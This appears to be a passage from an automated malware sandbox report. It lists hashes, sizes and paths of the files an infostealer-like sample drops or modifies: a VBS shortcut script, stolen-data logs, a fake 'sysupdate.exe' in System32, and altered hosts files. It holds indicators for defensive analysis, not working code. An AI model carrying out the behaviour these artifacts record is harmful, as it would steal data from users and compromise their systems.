- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 f63b5ba5b370c579bb5c217c7ce5aee79fd50cbaa30a5be21fa83475e3419eb6
- MD5 7a9744950a3d35883aa2cc149ae052ba
- SHA1 e6b34f9300bcfcd7a251f837431837c174b8666a
- SHA512 d543be9446afbe3f004a24c281faaebfed7b84b52801eab7e290a5715410d6c66dfd2ec3e59847be35ab8e10902f8387c56fb62fc291249641b4363ca0cdb842
- TLSH T1B3E0CD9BB21C899B0002522BC1F24D4CD9E165582A3B6F20A765DD4E3A51CC999F5442
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 162KB
- SHA256 3e8b4d8a3734053a6e51ee43fba70174b518aa615dda25dd8b0382bb61bcf1f5
- MD5 e0a49265060f8fcc44266a433bba1bbd
- SHA1 79f8b8a46971aae8deee78ccfd67527ad80f358a
- SHA512 467d5a0e32487dde4a4e9d8b29c844039b1e4587f92857f2b7792700207d5e1e3d8dbdb4cca558d6c80aa5d03d216a1f31931651d02cbe24ead56815343ca908
- SSDEEP 3072:pLWjWZd0+Dy0khFUFyUXBvDQ2E22222222dimpPuXa/Xy9yDjlCp:pLWji0ri5oPKSyyvl2
- TLSH T176F3A811C7B28F3E44865AEB195732D1A139F7F493ECC5F721A6AE67F062CE2C618205
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 162KB
- SHA256 92d82f70acc484be81dbfb651d6dbba5966a4e2da3c3beb440d498fe7cbf2d02
- MD5 2976ac45b098ca0a2febec7ef8aa2f30
- SHA1 acc5a39a99dfb51da9afb09f9f423ebd09777494
- SHA512 69efd5aa3028ab06e320336b6efa139590ae9fed4cf2f42421cd38d38fda3212ab77ad39db938123b1811a23999f5fd3e16644c689b3d934168b21d5cc853304
- SSDEEP 3072:dLWjWZd0+Dy0khFUFyUXBvDQ2E22222222dimpPuXa/Xy9yDjlCu:dLWji0ri5oPKSyyvlZ
- TLSH T12CF3A811C7B28F3E44865AEB195732D1A139F7F493ECC5F721A6AE67F062CE2C618205
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 50KB
- SHA256 5d4a9d3391f5d33a8d88401fa653e18d78a842652c38c570d12d5a88d72708c2
- MD5 4c0e9b5f0dc9a25afdbbd143d25ff5f6
- SHA1 a6cd6d59b94b12a7be8c85a931ad795382d82997
- SHA512 9bcba53a064a205b8dbd1701cd2ba937f9504cf2d213100bb7b6f192bb7b29be318a2f67b494e3777864612592ea57d903f6022e13fcfeb08043591a3bf64400
- SSDEEP 768:Cd/5LLAlctwpOrW/Oas4oKYxo6Sx2Sf/h/RgL4/C1XXGblfppiKFc5x7:+/+Fpz9n1xThGL4/EXGblfLiucf
- TLSH T1F733E54477F88511F5BF4ABA8DB186029B31B8979C22D78E07D5058E1AB3740CDA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH